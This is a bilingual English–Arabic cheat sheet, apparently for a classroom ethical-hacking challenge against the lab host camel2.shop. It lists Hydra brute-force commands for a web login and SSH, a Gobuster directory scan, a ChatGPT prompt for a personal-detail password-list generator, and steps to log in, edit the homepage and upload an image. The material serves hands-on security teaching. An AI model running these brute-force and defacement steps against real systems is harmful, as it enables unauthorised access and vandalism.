Final Challenge Cheat Sheet

ورقة المساعدة للتحدي النهائي

Note: Type commands exactly as shown (spaces, slashes, case). They are case-sensitive.

🔐 Hydra

Used to brute-force login pages by guessing passwords.

يُستخدم لتخمين كلمة المرور واختراق صفحات تسجيل الدخول.

You will need the admin’s username. Think carefully — it’s something you’ve seen before.

ستحتاج إلى اسم المستخدم الخاص بالمسؤول. فكّر جيدًا – قد رأيته سابقًا.

hydra -l username -P /usr/share/wordlists/rockyou.txt camel2.shop \
http-post-form "/admin:username=^USER^&password=^PASS^:F=Incorrect username or password" -V -f

🔍 Gobuster

Find hidden pages and directories.

يُستخدم لاكتشاف الصفحات والمجلدات المخفية.

gobuster dir -u camel2.shop -w /usr/share/wordlists/dirb/big.txt

Ethical Hacking 2 Commands

⚙️ Run a Python tool (Passwords Generator Tool)

1) الأمر الذي يكتبه المعلم في ChatGPT اكتب برنامجًا بلغة بايثون يقوم بما يلي: يستقبل مدخلات من المستخدم بشكل متكرر (نصوص أو أرقام) ويضيفها إلى قائمة، ويتوقف فقط عندما يدخل المستخدم القيمة -1 (كسلسلة نصية). بعد انتهاء الإدخال، يقوم بتكوين جميع الاحتمالات الممكنة لترتيب هذه المدخلات في سلسلة واحدة بدون فواصل، بحيث: يكون طول كل احتمال من 1 إلى 3 مدخلات كحد أقصى. يتم استخدام جميع الترتيبات الممكنة (permutations) لهذه المدخلات. يتم توليد نسخة من كل احتمال مع وبدون إضافة رمز واحد في النهاية من بين الرموز التالية فقط: $ # @ . أمثلة على شكل النتائج: Farhan1107Alsaadi$, Alsaadi1107Farhan$, FarhanAlsaadi1107$ حفظ جميع الاحتمالات في ملف نصّي باسم output.txt، بحيث يكون كل احتمال في سطر مستقل. استخدم تعليقات توضيحية داخل الكود لشرح الخطوات الرئيسية، واجعل الكود واضحًا وسهل الفهم للطلاب.

python filename.py

🔑 Guess server user password

Use hydra to brute-force an SSH login.

استخدم hydra لتخمين تسجيل دخول SSH

hydra -l username -P ./output.txt  ssh://camel2.shop -V -f

🔓 Access the server (SSH)

Log in to the server using SSH

تسجيل الدخول إلى الخادم عبر SSH

ssh farhan@camel2.shop

📝 Edit website homepage

Open the homepage template. Edit then save.

افتح قالب الصفحة الرئيسية. عدّل ثم احفظ.

nano /var/www/camelcode_app/test/templates/index.html

🔁 Apply website changes (restart service)

systemctl restart camelcode

📤 Copy a file from your device to the server

Securely copy a local file (image) to the user's home directory.

نسخ ملف من جهازك إلى الخادم بأمان.

scp /home/kali/Downloads/image.jpeg farhan@camel2.shop:/home/farhan/

📁 Move file into site folder

Move the uploaded file into the website static images directory so it can be served.

انقل الملف إلى مجلد الصور الثابتة في الموقع حتى يتم خدمته من قِبل Nginx/Flask.

sudo mv /home/farhan/image.jpeg /var/www/camelcode_app/test/static/images/

🖼️ Add image to homepage template

Insert this HTML into your template where you want the image to appear. Ensure filename matches the one in static/images.

أدخل هذا الوسم في القالب حيث تريد عرض الصورة. تأكد من تطابق اسم الملف مع الموجود في static/images.

<img style="display: block; margin-left: auto; margin-right: auto; width: 50%;" src="/static/images/image.jpeg" alt="My Image">